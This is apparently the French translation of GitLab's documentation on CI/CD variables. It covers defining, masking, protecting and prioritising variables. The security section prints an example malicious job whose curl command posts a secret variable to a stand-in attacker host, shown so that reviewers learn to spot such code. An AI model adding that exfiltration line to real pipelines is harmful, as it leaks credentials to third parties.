doc-locale/fr-fr/ci/variables/_index.md
{{< details >}}
{{< /details >}}
Les variables CI/CD sont un type de variable d'environnement. Vous pouvez les utiliser pour :
.gitlab-ci.yml.Les noms de variables sont limités par le shell utilisé par le runner pour exécuter les scripts. Chaque shell possède son propre ensemble de noms de variables réservés.
Pour garantir un comportement cohérent, vous devez toujours placer les valeurs de variables entre guillemets simples ou doubles. Les variables sont analysées en interne par le parseur YAML Psych, de sorte que les variables entre guillemets et sans guillemets peuvent être analysées différemment. Par exemple :
VAR1: 012345 est interprété comme une valeur octale, la valeur devient donc 5349.VAR1: "012345" est analysé comme une chaîne avec une valeur de 012345.VAR1: 019 est analysé comme la chaîne "019" et non comme un octal, car 9 n'est pas un chiffre octal valide. L'analyse octale s'applique uniquement lorsque tous les chiffres sont compris entre 0 et 7.Pour plus d'informations sur l'utilisation avancée de GitLab CI/CD, consultez 7 astuces avancées de workflow GitLab CI partagées par les ingénieurs GitLab.
GitLab CI/CD met à disposition un ensemble de variables CI/CD prédéfinies pour une utilisation dans la configuration des pipelines et les scripts de job. Ces variables contiennent des informations sur le job, le pipeline et d'autres valeurs dont vous pourriez avoir besoin lorsque le pipeline est déclenché ou en cours d'exécution.
Vous pouvez utiliser des variables CI/CD prédéfinies dans votre .gitlab-ci.yml sans les déclarer au préalable. Par exemple :
job1:
stage: test
script:
- echo "The job's stage is '$CI_JOB_STAGE'"
Le script de cet exemple produit The job's stage is 'test'.
.gitlab-ci.yml {#define-a-cicd-variable-in-the-gitlab-ciyml-file}Pour créer une variable CI/CD dans le fichier .gitlab-ci.yml, définissez la variable et la valeur avec le mot-clé variables.
Les variables enregistrées dans le fichier .gitlab-ci.yml sont visibles par tous les utilisateurs ayant accès au dépôt et ne doivent stocker que la configuration de projet non sensible. Par exemple, l'URL d'une base de données enregistrée dans une variable DATABASE_URL. Les variables sensibles contenant des valeurs telles que des secrets ou des clés doivent être ajoutées dans l'interface utilisateur.
Vous pouvez définir variables dans :
script, before_script ou after_script de ce job, et avec certains mots-clés de job..gitlab-ci.yml : La variable est disponible par défaut pour tous les jobs d'un pipeline, à moins qu'un job ne définisse une variable portant le même nom. La variable du job a la priorité.Dans les deux cas, vous ne pouvez pas utiliser ces variables avec les mots-clés globaux.
Par exemple :
variables:
ALL_JOBS_VAR: "A default variable"
job1:
variables:
JOB1_VAR: "Job 1 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"
job2:
variables:
ALL_JOBS_VAR: "Different value than default"
JOB2_VAR: "Job 2 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"
Dans cet exemple :
job1 génère : Variables are 'A default variable' and 'Job 1 variable'job2 génère : Variables are 'Different value than default', 'Job 2 variable', and ''Utilisez les mots-clés value et description pour définir des variables pré-remplies pour les pipelines déclenchés manuellement.
Si vous ne souhaitez pas que les variables par défaut soient disponibles dans un job, définissez variables sur {} :
variables:
DEFAULT_VAR: "A default variable"
job1:
variables: {}
script:
- echo This job does not need any variables
Les variables sensibles telles que les jetons ou les mots de passe doivent être stockées dans les paramètres de l'interface utilisateur, et non dans le fichier .gitlab-ci.yml.
Par défaut, les pipelines provenant de projets dupliqués ne peuvent pas accéder aux variables CI/CD disponibles pour le projet parent. Si vous exécutez un pipeline de merge request dans le projet parent pour un merge request issu d'une duplication, toutes les variables deviennent disponibles pour le pipeline.
{{< history >}}
{{< /history >}}
Vous pouvez ajouter des variables CI/CD aux paramètres d'un projet. Les projets peuvent avoir un maximum de 8 000 variables CI/CD.
Prérequis :
Pour ajouter ou mettre à jour des variables dans les paramètres du projet :
_.Variable (par défaut) ou File.*), un environnement spécifique ou une portée d'environnement avec caractère générique.Les variables de projet peuvent également être ajoutées en utilisant l'API.
{{< history >}}
{{< /history >}}
Vous pouvez rendre une variable CI/CD disponible pour tous les projets d'un groupe. Les groupes peuvent avoir un maximum de 30 000 variables CI/CD.
Prérequis :
Pour ajouter une variable de groupe :
_.Variable (par défaut) ou File.Les variables de groupe disponibles dans un projet sont répertoriées dans la section Paramètres > CI/CD > Variables du projet. Les variables des sous-groupes sont héritées de manière récursive.
Les variables de groupe peuvent également être ajoutées en utilisant l'API.
{{< details >}}
{{< /details >}}
Pour configurer une variable CI/CD de groupe afin qu'elle ne soit disponible que pour certains environnements :
*), un environnement spécifique ou une portée d'environnement avec caractère générique.{{< details >}}
{{< /details >}}
{{< history >}}
{{< /history >}}
Vous pouvez rendre une variable CI/CD disponible pour tous les projets et groupes d'une instance GitLab.
Prérequis :
Pour ajouter une variable d'instance :
_.Variable (par défaut) ou File.Les variables d'instance peuvent également être ajoutées en utilisant l'API.
Le code poussé vers le fichier .gitlab-ci.yml pourrait compromettre vos variables. Les variables pourraient être exposées accidentellement dans un job log, ou envoyées de manière malveillante à un serveur tiers.
Passez en revue tous les merge requests qui introduisent des modifications dans le fichier .gitlab-ci.yml avant de :
Passez en revue le fichier .gitlab-ci.yml des projets importés avant d'ajouter des fichiers ou d'exécuter des pipelines contre eux.
L'exemple suivant illustre du code malveillant dans un fichier .gitlab-ci.yml :
accidental-leak-job:
script: # Password exposed accidentally
- echo "This script logs into the DB with $USER $PASSWORD"
- db-login $USER $PASSWORD
malicious-job:
script: # Secret exposed maliciously
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
Pour réduire le risque de fuite accidentelle de secrets via des scripts comme dans accidental-leak-job, toutes les variables contenant des informations sensibles doivent toujours être masquées dans les job logs. Vous pouvez également limiter une variable aux branches et tags protégés uniquement.
Vous pouvez également vous connecter à un fournisseur externe de gestion des secrets pour stocker et récupérer des secrets.
Les scripts malveillants comme dans malicious-job doivent être détectés lors du processus de révision. Les relecteurs ne doivent jamais déclencher un pipeline lorsqu'ils trouvent du code de ce type, car du code malveillant peut compromettre à la fois les variables masquées et les variables protégées.
Les valeurs des variables sont chiffrées à l'aide de aes-256-cbc et stockées dans la base de données. Ces données peuvent être lues et déchiffrées avec un fichier de secrets valide.
[!warning] Masquer une variable CI/CD n'est pas un moyen garanti d'empêcher les utilisateurs malveillants d'accéder aux valeurs des variables. Pour garantir la sécurité des informations sensibles, envisagez d'utiliser des secrets externes et des variables de type fichier pour empêcher des commandes telles que
envouprintenvd'afficher les variables secrètes.
Vous pouvez masquer une variable CI/CD pour un projet, un groupe ou une instance afin d'éviter que sa valeur n'apparaisse dans les job logs. Lorsqu'un job génère la valeur d'une variable masquée, la valeur est remplacée par [MASKED] dans le job log. Dans certains cas, la valeur [MASKED] peut également être suivie de caractères x.
Prérequis :
Pour masquer une variable :
_, :, @, -, +, ., ~, =, / et ~. Lorsque le paramètre est désactivé, tous les caractères peuvent être utilisés.La valeur de la variable doit :
Si un processus génère la valeur de manière légèrement modifiée, la valeur ne peut pas être masquée. Par exemple, si le shell ajoute \ pour échapper les caractères spéciaux, la valeur n'est pas masquée :
My[value]My\[value\]Lorsque CI_DEBUG_SERVICES est activé, la valeur de la variable pourrait être révélée. Pour plus d'informations, consultez la journalisation des conteneurs de service.
{{< history >}}
ci_hidden_variables. Activé par défaut.ci_hidden_variables a été supprimé.{{< /history >}}
En plus du masquage, vous pouvez également empêcher la valeur des variables CI/CD d'être révélée dans la page des paramètres CI/CD. Cacher une variable n'est possible que lors de la création d'une nouvelle variable ; vous ne pouvez pas mettre à jour une variable existante pour la cacher.
Prérequis :
Pour cacher une variable, sélectionnez Masquée et cachée dans la section Visibilité lorsque vous ajoutez une nouvelle variable CI/CD dans l'interface utilisateur. Une fois la variable enregistrée, elle peut être utilisée dans les pipelines CI/CD, mais ne peut plus être révélée dans l'interface utilisateur.
Vous pouvez configurer une variable CI/CD de projet, de groupe ou d'instance pour qu'elle ne soit disponible que pour les pipelines qui s'exécutent sur des branches protégées ou des tags protégés.
Les pipelines de résultats fusionnés et les pipelines de merge request peuvent éventuellement accéder aux variables protégées.
Prérequis :
Pour définir une variable comme protégée :
La variable est disponible pour tous les pipelines suivants.
Toutes les variables CI/CD prédéfinies et les variables définies dans le fichier .gitlab-ci.yml sont de type « variable » ("variable_type": "env_var" dans l'API).
Les variables de type variable :
Les variables CI/CD de projet, de groupe et d'instance sont de type « variable » par défaut, mais peuvent éventuellement être définies comme type « fichier » ("variable_type": "file" dans l'API). Les variables de type fichier :
Utilisez des variables CI/CD de type fichier pour les outils qui nécessitent un fichier en entrée.
Par exemple, l'AWS CLI et kubectl sont deux outils qui utilisent des variables de type File pour la configuration. Si vous utilisez kubectl avec :
KUBE_URL et https://example.com comme valeur.KUBE_CA_PEM et un certificat comme valeur.Passez KUBE_URL comme option --server, qui accepte une variable, et passez $KUBE_CA_PEM comme option --certificate-authority, qui accepte un chemin vers un fichier :
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
.gitlab-ci.yml comme variable de type fichier {#use-a-gitlab-ciyml-variable-as-a-file-type-variable}Vous ne pouvez pas définir une variable CI/CD définie dans le fichier .gitlab-ci.yml comme variable de type fichier. Si vous disposez d'un outil qui requiert un chemin de fichier en entrée, mais que vous souhaitez utiliser une variable définie dans le .gitlab-ci.yml :
Par exemple :
variables:
SITE_URL: "https://gitlab.example.com"
job:
script:
- echo "$SITE_URL" > "site-url.txt"
- mytool --url-file="site-url.txt"
{{< history >}}
{{< /history >}}
Vous pouvez configurer une variable pour traiter les valeurs contenant le caractère $ comme une référence à une autre variable. Lorsque le pipeline s'exécute, la référence est développée pour utiliser la valeur de la variable référencée.
Les variables CI/CD définies dans l'interface utilisateur ne sont pas développées par défaut. Pour les variables CI/CD définies dans le fichier .gitlab-ci.yml, contrôlez l'expansion des variables avec le mot-clé variables:expand.
Prérequis :
Pour activer l'expansion de variable pour la variable :
[!note] Ne masquez pas une valeur de variable si vous souhaitez utiliser l'expansion de variable. Si le masquage et l'expansion des variables sont combinés, les limitations de caractères empêchent l'utilisation de
$pour référencer d'autres variables.
Vous pouvez utiliser des variables CI/CD portant le même nom à différents endroits, mais les valeurs peuvent se remplacer mutuellement. Le type de variable et l'endroit où elles sont définies déterminent quelles variables ont la priorité.
L'ordre de priorité des variables est (de la plus haute à la plus basse) :
Group > Subgroup 1 > Subgroup 2 > Project, la variable définie dans Subgroup 2 a la priorité.dotenv..gitlab-ci.yml..gitlab-ci.yml.Par exemple :
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable is '$API_TOKEN'"
Dans cet exemple, job1 génère The variable is 'secure' car les variables définies dans les jobs du fichier .gitlab-ci.yml ont une priorité plus élevée que les variables par défaut.
Les variables de pipeline sont des variables spécifiées lors de l'exécution d'un nouveau pipeline.
[!note] Dans GitLab 17.7 et les versions ultérieures, les entrées de pipeline sont recommandées plutôt que la transmission de variables de pipeline. Pour une sécurité renforcée, vous devriez désactiver les variables de pipeline lors de l'utilisation d'entrées.
Prérequis :
Vous pouvez spécifier une variable de pipeline lorsque vous :
pipelines.triggers.variables, le mot-clé trigger:forward ou les variables dotenv.Ces variables ont une priorité plus élevée et peuvent remplacer d'autres variables définies, y compris les variables prédéfinies.
[!warning] Vous devriez éviter de remplacer les variables prédéfinies dans la plupart des cas, car cela peut entraîner un comportement inattendu du pipeline.
{{< history >}}
no_one_allowed pour ci_pipeline_variables_minimum_override_role dans GitLab 17.7.{{< /history >}}
Vous pouvez limiter les utilisateurs autorisés à exécuter des pipelines avec des variables de pipeline à des rôles utilisateur spécifiques. Lorsque des utilisateurs disposant d'un rôle inférieur tentent d'utiliser des variables de pipeline, ils reçoivent un message d'erreur Insufficient permissions to set pipeline variables.
Prérequis :
owner ou no_one_allowed, vous devez alors disposer du rôle Owner dans le projet.Pour limiter l'utilisation des variables de pipeline au seul rôle Maintainer et aux rôles supérieurs :
no_one_allowed : Aucun pipeline ne peut s'exécuter avec des variables de pipeline. Valeur par défaut pour les nouveaux projets dans les nouveaux espaces de nommage sur GitLab.com. Une fois le paramètre à cette valeur, seul le rôle Owner peut le modifier.owner : Seuls les utilisateurs disposant du rôle Owner peuvent exécuter des pipelines avec des variables de pipeline. Une fois le paramètre à cette valeur, seul le rôle Owner peut le modifier.maintainer : Seuls les utilisateurs disposant du rôle Maintainer ou Owner peuvent exécuter des pipelines avec des variables de pipeline. Valeur par défaut si non spécifié sur GitLab Self-Managed et GitLab Dedicated.developer : Seuls les utilisateurs disposant du rôle Developer, Maintainer ou Owner peuvent exécuter des pipelines avec des variables de pipeline.Vous pouvez également utiliser l'API des projets pour définir le rôle pour le paramètre ci_pipeline_variables_minimum_override_role.
Cette restriction n'affecte pas l'utilisation des variables CI/CD provenant des paramètres du projet ou du groupe. La plupart des jobs peuvent toujours utiliser le mot-clé variables dans la configuration YAML, mais pas les jobs qui utilisent le mot-clé trigger pour déclencher des pipelines downstream. Les jobs de déclencheur transmettent des variables aux pipelines downstream en tant que variables de pipeline, ce qui est également contrôlé par ce paramètre.
{{< history >}}
{{< /history >}}
Pour les groupes comportant de nombreux projets, vous pouvez désactiver les variables de pipeline dans tous les projets qui ne les utilisent pas actuellement. Cette option définit le paramètre Rôle minimum autorisé à utiliser les variables de pipeline sur no_one_allowed pour les projets qui n'ont jamais utilisé de variables de pipeline.
Prérequis :
Pour activer le paramètre de restriction des variables de pipeline dans les projets du groupe :
La migration s'exécute en arrière-plan. Vous recevez une notification par e-mail lorsque la migration est terminée. Les mainteneurs de projet peuvent modifier ultérieurement le paramètre pour leurs projets individuels si nécessaire.
Les scripts exécutés dans des contextes shell distincts ne partagent pas les exportations, les alias, les définitions de fonctions locales ni aucune autre mise à jour locale du shell.
Cela signifie que si un job échoue, les variables créées par les scripts définis par l'utilisateur ne sont pas exportées.
Lorsque les runners exécutent des jobs définis dans .gitlab-ci.yml :
before_script et le script principal sont exécutés ensemble dans un seul contexte shell et sont concaténés.after_script s'exécutent dans un contexte shell complètement séparé de before_script et des scripts spécifiés.Quel que soit le shell dans lequel les scripts sont exécutés, la sortie du runner inclut :
.gitlab-ci.yml dans la section variables:..gitlab-ci.yml dans la section secrets:.config.toml.Le runner ne peut pas gérer les exportations manuelles, les alias shell et les fonctions exécutées dans le corps du script, comme export MY_VARIABLE=1.
Par exemple, dans le fichier .gitlab-ci.yml suivant, les scripts suivants sont définis :
job:
variables:
JOB_DEFINED_VARIABLE: "job variable"
before_script:
- echo "This is the 'before_script' script"
- export MY_VARIABLE="variable"
script:
- echo "This is the 'script' script"
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
after_script:
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
Lorsque le runner exécute le job :
before_script est exécuté :
MY_VARIABLE.script est exécuté :
JOB_DEFINED_VARIABLE.CI_COMMIT_SHA.MY_VARIABLE.after_script est exécuté dans un nouveau contexte shell distinct :
JOB_DEFINED_VARIABLE.CI_COMMIT_SHA.MY_VARIABLE. La valeur de la variable ne peut pas être détectée car after_script est dans un contexte shell distinct de before_script.Vous pouvez configurer Auto DevOps pour transmettre des variables CI/CD à une application en cours d'exécution. Pour rendre une variable CI/CD disponible en tant que variable d'environnement dans le conteneur de l'application en cours d'exécution, préfixez la clé de la variable avec K8S_SECRET_.
La vidéo Managing the Complex Configuration Data Management Monster Using GitLab est une présentation du projet d'exemple fonctionnel Complex Configuration Data Monorepo. Elle explique comment plusieurs niveaux de variables CI/CD de groupe peuvent être combinés avec des variables de projet à portée d'environnement pour une configuration complexe des builds ou des déploiements d'applications.
L'exemple peut être copié dans votre propre groupe ou instance à des fins de test. Des informations supplémentaires sur les autres patterns GitLab CI illustrés sont disponibles sur la page du projet.
Vous pouvez transmettre des variables CI/CD à des pipelines downstream. Utilisez le mot-clé trigger:forward pour spécifier le type de variables à transmettre au pipeline downstream.